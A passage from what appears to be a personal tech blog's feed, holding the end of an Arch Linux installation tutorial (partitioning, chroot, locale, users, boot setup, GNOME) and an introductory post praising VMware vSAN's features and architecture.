&lt;li&gt;&lt;code&gt;/dev/sda2&lt;/code&gt; - &lt;code&gt;/swap&lt;/code&gt; is formatted to &lt;code&gt;swap&lt;/code&gt;, obviously&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/dev/sda3&lt;/code&gt; - as it&amp;rsquo;s the &lt;code&gt;/&lt;/code&gt; partition (hosting most of OS files), we are using a most reliable filesystem: &lt;code&gt;EXT4&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;To finish configuring the &lt;code&gt;/swap&lt;/code&gt; partition, we also have to run:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;root@archiso ~ &lt;span style=&#34;color:#75715e&#34;&gt;# swapon /dev/sda2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;mounting-the-disks-and-chrooting-into-arch&#34;&gt;Mounting the disks and &amp;ldquo;chrooting&amp;rdquo; into Arch&lt;/h3&gt;
&lt;p&gt;The next part of the installation is going to take place &amp;ldquo;within&amp;rdquo; the system we have not finished installing yet. To do so, we need to mount the new partitions we&amp;rsquo;ve just created, install some base packages on them and then do a &amp;ldquo;chroot&amp;rdquo;&amp;hellip;&lt;/p&gt;
&lt;p&gt;&amp;ldquo;Chrooting&amp;rdquo;, or a &amp;ldquo;chroot&amp;rdquo; on Unix operating systems is an operation that changes the apparent root directory for the current running process and its children. A program that is run in such a modified environment cannot name (and therefore normally cannot access) files outside the designated directory tree. In simpler terms, we are going to &amp;ldquo;live switch&amp;rdquo; from the OS we&amp;rsquo;ve booted from the USB stick (or iso file) to the Arch Linux we&amp;rsquo;re installing in this tutorial.&lt;/p&gt;
&lt;p&gt;Ok, speaking of the tutorial, let&amp;rsquo;s move on:
Using the following command, mount the &lt;code&gt;/&lt;/code&gt; partition at &lt;code&gt;/mnt&lt;/code&gt; point:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;root@archiso ~ &lt;span style=&#34;color:#75715e&#34;&gt;# mount /dev/sda3 /mnt&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Once that&amp;rsquo;s done, create a new directory &lt;code&gt;/mnt/boot&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;root@archiso ~ &lt;span style=&#34;color:#75715e&#34;&gt;# mkdir /mnt/boot&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&amp;hellip;and mount the &lt;code&gt;/boot&lt;/code&gt; partition in there:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;root@archiso ~ &lt;span style=&#34;color:#75715e&#34;&gt;# mount /dev/sda1 /mnt/boot&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Moving forward, let&amp;rsquo;s run this beast of a command to download &amp;amp; install the base system packages:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;root@archiso ~ &lt;span style=&#34;color:#75715e&#34;&gt;# pacstrap /mnt base&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Before we can do a &amp;ldquo;chroot&amp;rdquo;, we should also configure the &lt;code&gt;fstab&lt;/code&gt; (&lt;a href=&#34;https://wiki.archlinux.org/index.php/fstab&#34;&gt;documentation&lt;/a&gt;)&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;root@archiso ~ &lt;span style=&#34;color:#75715e&#34;&gt;# genfstab -U /mnt &amp;gt;&amp;gt; /mnt/etc/fstab&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Finally, we can &amp;ldquo;chroot&amp;rdquo; into our new OS:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;root@archiso ~ &lt;span style=&#34;color:#75715e&#34;&gt;# arch-chroot /mnt&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;h1 id=&#34;system-configuration&#34;&gt;System Configuration&lt;/h1&gt;
&lt;p&gt;At this stage, you should notice that the hostname in the CLI has changed:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;root@arch ~ &lt;span style=&#34;color:#75715e&#34;&gt;#&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This is expected as we&amp;rsquo;ve just &amp;ldquo;live switched&amp;rdquo; from Arch on the USB to the Arch on the disk.&lt;/p&gt;
&lt;p&gt;There are a couple of more things to be done before we&amp;rsquo;ll be able to call it a day though.&lt;/p&gt;
&lt;h3 id=&#34;locale-system-language-date--time&#34;&gt;Locale (system language, date &amp;amp; time)&lt;/h3&gt;
&lt;p&gt;Run the following command to set the timezone:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;root@arch ~ &lt;span style=&#34;color:#75715e&#34;&gt;# ln -s /usr/share/zoneinfo/Europe/Dublin /etc/localtime&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&amp;hellip;and this one to set the clock accordingly:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;root@arch ~ &lt;span style=&#34;color:#75715e&#34;&gt;# hwclock --systohc --utc&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Lastly, edit the &lt;code&gt;/etc/locale.gen&lt;/code&gt; file. You will need to remove the &lt;code&gt;#&lt;/code&gt; character to uncomment the locale you need. The editor which we&amp;rsquo;re going to use is WYSIWYG-based (Windows Notepad etc.); keep in mind &lt;code&gt;CTRL+X&lt;/code&gt; saves &amp;amp; exits the file.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;root@arch ~ &lt;span style=&#34;color:#75715e&#34;&gt;# nano /etc/locale.gen&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Approve and submit the changes by issuing:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;root@arch ~ &lt;span style=&#34;color:#75715e&#34;&gt;# locale-gen&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The above command will generate a file &lt;code&gt;/etc/locale.conf&lt;/code&gt;. You can play around with it using &lt;code&gt;nano&lt;/code&gt; if you wish to tweak any language/timezone settings.&lt;/p&gt;
&lt;h3 id=&#34;hostname&#34;&gt;Hostname&lt;/h3&gt;
&lt;p&gt;This one is simple. Run the following commands to set a custom hostname for your Arch:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;root@arch ~ &lt;span style=&#34;color:#75715e&#34;&gt;# echo customhostname &amp;gt; /etc/hostname&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;root@arch ~ &lt;span style=&#34;color:#75715e&#34;&gt;# echo 127.0.0.1 customhostname &amp;gt;&amp;gt; /etc/hosts&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;root--users&#34;&gt;Root &amp;amp; users&lt;/h3&gt;
&lt;p&gt;We will begin setting up the users by generating a password for the &lt;code&gt;root&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;root@arch ~ &lt;span style=&#34;color:#75715e&#34;&gt;# passwd&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Creating a new user (&lt;code&gt;guru&lt;/code&gt; in this example) is a similarly simple process requiring only a single command:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;root@arch ~ &lt;span style=&#34;color:#75715e&#34;&gt;# useradd -m -G wheel -s /bin/bash guru&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;root@arch ~ &lt;span style=&#34;color:#75715e&#34;&gt;# passwd guru&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;boot-configuration&#34;&gt;Boot configuration&lt;/h3&gt;
&lt;p&gt;The last step - configuring the &lt;code&gt;/boot&lt;/code&gt; is probably simpler than what you were expecting at this point. All you have to do is to run these two commands:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;root@arch ~ &lt;span style=&#34;color:#75715e&#34;&gt;# bootctl --path=/boot install&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;root@arch ~ &lt;span style=&#34;color:#75715e&#34;&gt;# blkid -s PARTUUID -o value /dev/sda1 &amp;gt; /boot/loader/entries/arch.conf&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;were-done-i-think&#34;&gt;We&amp;rsquo;re done&amp;hellip; I think&lt;/h2&gt;
&lt;p&gt;The Arch Linux operating system has been successfully installed on your harddrive and we&amp;rsquo;ve performed some basic configuration on it. If you wish, you can leave the Live OS right now and reboot your machine:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;root@arch ~ &lt;span style=&#34;color:#75715e&#34;&gt;# exit&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;root@archiso ~ &lt;span style=&#34;color:#75715e&#34;&gt;# umount -R /mnt&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;root@archiso ~ &lt;span style=&#34;color:#75715e&#34;&gt;# reboot&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&amp;hellip;or you can stick around for few more minutes as in the following (optional) step, I&amp;rsquo;ll show you how to install something which you might be missing once you log in to your brand new OS - the GUI.&lt;/p&gt;
&lt;h3 id=&#34;installing-gnome-desktop&#34;&gt;Installing GNOME Desktop&lt;/h3&gt;
&lt;p&gt;Installing GNOME display manager is actually very simple (it used to be a pain in the @ss, but that&amp;rsquo;s not the case anymore). All you have to do is:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;root@arch ~ &lt;span style=&#34;color:#75715e&#34;&gt;# pacman -Syu gdm gnome gnome-extra&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The above command can be split in the following four parts:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;pacman -Syu&lt;/code&gt; - in this bit, we&amp;rsquo;re asking the package manager for Arch - &lt;code&gt;pacman&lt;/code&gt; - to install a package (&lt;code&gt;S&lt;/code&gt;), update the mirrors (&lt;code&gt;y&lt;/code&gt;) and upgrade the system (&lt;code&gt;u&lt;/code&gt;). It is recommended to always use the &lt;code&gt;-Syu&lt;/code&gt; switch instead of &lt;code&gt;-S&lt;/code&gt; as installing packages without updating the others on the system might break it. Full documentation for &lt;code&gt;pacman&lt;/code&gt; can be found &lt;a href=&#34;https://wiki.archlinux.org/index.php/pacman&#34;&gt;here&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;gdm&lt;/code&gt; - is the login manager for GNOME and GNOME-like desktops. Without this package you will still have to log into the system using CLI and then manually start the desktop (GNOME) by issuing a command &lt;code&gt;startx&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;gnome&lt;/code&gt; - is a collection of packages required for a basic GNOME desktop implementation.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;gnome extra&lt;/code&gt; - is an optional collection of most-used GNOME apps. This includes things like a browser, notepad, calculator etc. You can safely skip this bit if you wish to choose your own applications for these purposes later on.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;At this stage, we can safely logout from the &amp;ldquo;chrooted&amp;rdquo; system and reboot the box. Arch Linux is now ready for use.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;root@arch ~ &lt;span style=&#34;color:#75715e&#34;&gt;# exit&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;root@archiso ~ &lt;span style=&#34;color:#75715e&#34;&gt;# umount -R /mnt&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;root@archiso ~ &lt;span style=&#34;color:#75715e&#34;&gt;# reboot&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;were-actually-done&#34;&gt;We&amp;rsquo;re actually done!&lt;/h2&gt;
&lt;p&gt;Congratulations! If you made it to this step, you&amp;rsquo;ve successfully installed and configured Arch Linux. I hope you found this guide informative and helpful. I can&amp;rsquo;t wait to see you on the Arch Forums and on the AUR. Your journey with Linux just got a little bit more fun :)&lt;/p&gt;
&lt;p&gt;Will you attempt to install Arch Linux by yourself? If you&amp;rsquo;d encounter any issues along the way, do not hesitate to contact me @wilk_it_wizard or #sshguru&lt;/p&gt;
</content>
    </item>
    
    <item>
      <title>Intro to VSAN</title>
      <link>/posts/200701-vsan-intro/</link>
      <pubDate>Wed, 01 Jul 2020 00:00:00 +0000</pubDate>
      
      <guid>/posts/200701-vsan-intro/</guid>
      <description>What is VMware vSAN?
There are many answers to that question: some would say it&amp;rsquo;s a hyper-converged storage solution, while others would insist on calling it a software based distributed storage solution; it&amp;rsquo;s not hard to also find names such as software defined storage or hypervisor converged.
The truth is, VMware vSAN is a storage solution fully integrated with VMware vSphere. If you know how to enable High Availability, Fault Tolerance or DRS, then you know how to configure a vSAN.</description>
      <content>&lt;p&gt;What is VMware vSAN?&lt;/p&gt;
&lt;p&gt;There are many answers to that question: some would say it&amp;rsquo;s a &lt;strong&gt;hyper-converged&lt;/strong&gt; storage solution, while others would insist on calling it a &lt;strong&gt;software based distributed&lt;/strong&gt; storage solution; it&amp;rsquo;s not hard to also find names such as software defined storage or hypervisor converged.&lt;/p&gt;
&lt;p&gt;The truth is, VMware vSAN is a storage solution fully integrated with VMware vSphere. If you know how to enable High Availability, Fault Tolerance or DRS, then you know how to configure a vSAN.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&#34;why-should-i-go-for-vmware-vsan&#34;&gt;Why should I go for VMware vSAN?&lt;/h2&gt;
&lt;p&gt;Ok, that was simple enough but now the real question is - why would you go for a vSAN when there are thousands upon thousands of other storage solution out there?&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;vSAN is &lt;strong&gt;software defined&lt;/strong&gt; – No need to switch/upgrade hardware; as long as it is on the HCL, it&amp;rsquo;s good to go.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;vSAN is &lt;strong&gt;flexible&lt;/strong&gt; – Scale as needed and when needed. It is completely fine to either add more hosts or more disks as both scaling up and scaling out are possible.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;vSAN is &lt;strong&gt;simple&lt;/strong&gt; – Take a look at any vSAN configuration wizard or try reading through the documentation; you&amp;rsquo;ll quickly notice how different it is from other storage systems.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;vSAN is &lt;strong&gt;automation friendly&lt;/strong&gt; – Policy based management for individual VMs and virtual disks, VMDK level granularity&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;vSAN is &lt;strong&gt;Hyper-Converged&lt;/strong&gt; – With VMware vSAN, you can create building block style solutions.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;According to multiple stories from the IT world and customer satisfaction reports, VMware vSAN is usually the &amp;ldquo;go to&amp;rdquo; solution because of its simplicity. One of the most &amp;ldquo;selling&amp;rdquo; features of vSAN is the vSAN Health Check Report, which at once glance provides you with its working status. If something&amp;rsquo;s broken or will break soon - vSAN will report it in the Health Check.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&#34;what-vsan-is-used-for&#34;&gt;What vSAN is used for?&lt;/h2&gt;
&lt;h3 id=&#34;productionbusiness-critical-applications&#34;&gt;Production/Business Critical Applications&lt;/h3&gt;
&lt;p&gt;Exchange, Oracle, SQL, anything that requires superb speed and reliability. vSAN is most commonly used for hosting business and/or production critical virtual machines. Multiple reports proved vSAN to be the most secure and stable, while at the same time fastest storage solution of its type.&lt;/p&gt;
&lt;h3 id=&#34;management-clusters&#34;&gt;Management Clusters&lt;/h3&gt;
&lt;p&gt;Management clusters are the second most common part of infrastructure element benefiting from vSAN. The &amp;ldquo;Software Defined Storage&amp;rdquo; approach has proven to be more reliable than standard storage solutions - even when the NAS, SAN or tape drive controller is down, you still can access your management tools hosted on local disks grouped together into vSAN volumes.&lt;/p&gt;
&lt;h3 id=&#34;virtual-desktops&#34;&gt;Virtual desktops&lt;/h3&gt;
&lt;p&gt;Scale out model, using predictive (performance etc) repeatable infrastructure blocks lowers costs and simplifies operations. No more endless discussions about expanding user-end of the infrastructure - expanding a vSAN cluster can cost even 90% less than a similarly big upgrade (in terms of GBs) to a SAN environment. For this very reason, vSAN is included in all editions of VMware Horizon.&lt;/p&gt;
&lt;h3 id=&#34;dmz--test&#34;&gt;DMZ &amp;amp; Test&lt;/h3&gt;
&lt;p&gt;If VMware NSX isolates a DMZ from the world from a networking/security point of view, vSAN does the same from a storage perspective. Separate your storage into multiple clusters and avoid having your production storage go down during a DDoS attack.
Cheaper, easier to upgrade, scale-out and scale-up than the regular storage - vSAN is not only the best storage solution for production but also for a development environment. Increasing the amount of space for ever-disk-space-hungry developers was never easier!&lt;/p&gt;
&lt;h3 id=&#34;disaster-recovery-target&#34;&gt;Disaster recovery target&lt;/h3&gt;
&lt;p&gt;Again, vSAN being much cheaper than regular storage, can be an excellent DR target. For example, Veeam Backup &amp;amp; Replication software is even fine-tuned to use vSAN as its backup repository! This gives vSAN-provided storage space an extra edge over the competition.&lt;/p&gt;
&lt;p&gt;As you can see from the long list above - VMware vSAN is absolutely amazing in terms of its versatility. I can&amp;rsquo;t really think of anything which wouldn&amp;rsquo;t be possible or make sense with vSAN. If you have never heard anything about this technology before, you might think it&amp;rsquo;s some kind of a fraud or &amp;ldquo;indiegogo&amp;rdquo; level scam, but trust me, it&amp;rsquo;s no magic - it&amp;rsquo;s just the tech of today.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://pbs.twimg.com/media/DHAy0eSWAAAQQUY.png&#34; alt=&#34;CaptainvSAN&#34;&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&#34;technical-overview&#34;&gt;Technical Overview&lt;/h2&gt;
&lt;p&gt;When vSAN is enabled, a single shared datastore is presented to all hosts which are part of the vSAN-enabled cluster. Typically all hosts will contribute performance and capacity to this shared datastore:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Performance - SSD disks; these are used for caching and you&amp;rsquo;d need at least 1 SSD for every 1 HDD on each host to setup a vSAN.&lt;/li&gt;
&lt;li&gt;Capacity - either SSD or traditional HDDs; these are used for the &amp;ldquo;main&amp;rdquo; storage. There are multiple ways you can configuration options you can choose from (full 1:1 replication on all disks, partial, multi-PoF and so on).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;That way, you can expect your datastores to grow whenever the cluster grows from a compute perspective. This is not a must however, as there can be hosts in the cluster which just consume the datastore (seeing it just as regular SAN/NAS resource). Clusters with vSAN enabled support the same limits as vSphere: 64 hosts in a single cluster and 31 in a stretched one.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://thewindowsclub-thewindowsclubco.netdna-ssl.com/wp-content/uploads/2016/09/slant-600x325.jpg&#34; alt=&#34;SSDs&#34;&gt;&lt;/p&gt;
&lt;p&gt;The flash storage requirement shouldn&amp;rsquo;t be surprising to anyone familiar with the current storage solutions on the market. Every write I/O goes to the flash cache first, and then eventually gets saved in the capacity tier. vSAN supports different types of flash devices ranging from SATA SSDs to 3D XPoint NVMe based devices. The capacity layer of vSAN supports of course regular spinning disks as well - from SAS to 15k RPM.&lt;/p&gt;
&lt;h3 id=&#34;storage-policies&#34;&gt;Storage Policies&lt;/h3&gt;
&lt;p&gt;Storage policies configured with vSAN support can be applied on both virtual machine and virtual disk level. These policies can be used to define availability and performance aspects of your workloads. The only two key features of vSAN which are not controlled by policies are &amp;ldquo;Deduplication and Compression&amp;rdquo; and &amp;ldquo;Encryption&amp;rdquo;, which can only be enabled on a cluster level.&lt;/p&gt;
&lt;p&gt;After setting up vSAN, but before setting up any VMs, you will typically create a storage policy where you will define what the configuration of the workload should be. Most of the time, such a policy is used to configure one, critical setting which is &amp;ldquo;Failure to tolerate&amp;rdquo; - setting it to a value of “1&amp;quot; would require vSAN to keep 2 copies of the data and 1 witness for every associated VM. After defining a 1 host failure to tolerate, or a 3 host failure to tolerate, vSAN will ensure enough replicas of your objects are created within the cluster.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i.ytimg.com/vi/5-CYF2Oy9GU/maxresdefault.jpg&#34; alt=&#34;fireinthehole&#34;&gt;&lt;/p&gt;
&lt;p&gt;Speaking of VMs - these can be seen as an object and each copy of the data and the witness can be seen as components. Objects are placed and distributed across the cluster as specified in your policy. This way, vSAN does not require a local RAID set - a bunch of local disks attached to a passthrough disk controller will do just fine.&lt;/p&gt;
&lt;p&gt;In order to provide the best performance, while still making sure the data is safe, vSAN has an in-memory read cache which is used to serve the most recent blocks from memory. Blocks which are not in the memory cache will need to be fetched from other hosts which can be used to serve the data component. Worth noting is that any given block always comes from the same host for reads. That way, vSAN is optimizing the flash based read cache. Writes on the other hand, are straight forward. Every write is synchronously pushed to the hosts that contain data components for a VM being saved. This process is usually referred to as &amp;ldquo;replication&amp;rdquo; or &amp;ldquo;mirroring&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;All of that traffic has to be served somehow so it comes as no surprise that vSAN does indeed require some good networking base for its daily operations. At the very minimum vSAN will need a dedicated 1Gbps NIC port for hybrid (SSD+HDD) configurations, and 10GbE (again, as a minimum!) for all-flash configurations.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&#34;summary&#34;&gt;Summary&lt;/h2&gt;
&lt;p&gt;VMware vSAN in definitely a technology you should be interested in and I think I&amp;rsquo;m positive that if you&amp;rsquo;ve never heard about it before, you will be excited to learn more about after reading through this quick introduction.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://www.dundalk.ie/wp-content/uploads/2018/07/planning.jpg&#34; alt=&#34;planning&#34;&gt;&lt;/p&gt;
&lt;p&gt;I&amp;rsquo;m planning to focus more on VMware vSAN and VMware NSX in the next couple of months, so if I you&amp;rsquo;re interested in any of these technologies, you can expect more post about them coming very, very soon.&lt;/p&gt;
&lt;p&gt;For now, please let me know what do you think about VMware vSAN, or if you already used it before - tell me what did you found interesting and/or exciting about it! Find me on Twitter by @wilk_it_wizard or #sshguru&lt;/p&gt;
</content>
    </item>
    
    <item>
      <title>PowerNSX on Linux</title>
      <link>/posts/200601-powernsx-linux/</link>
      <pubDate>Mon, 01 Jun 2020 00:00:00 +0000</pubDate>
      
      <guid>/posts/200601-powernsx-linux/</guid>
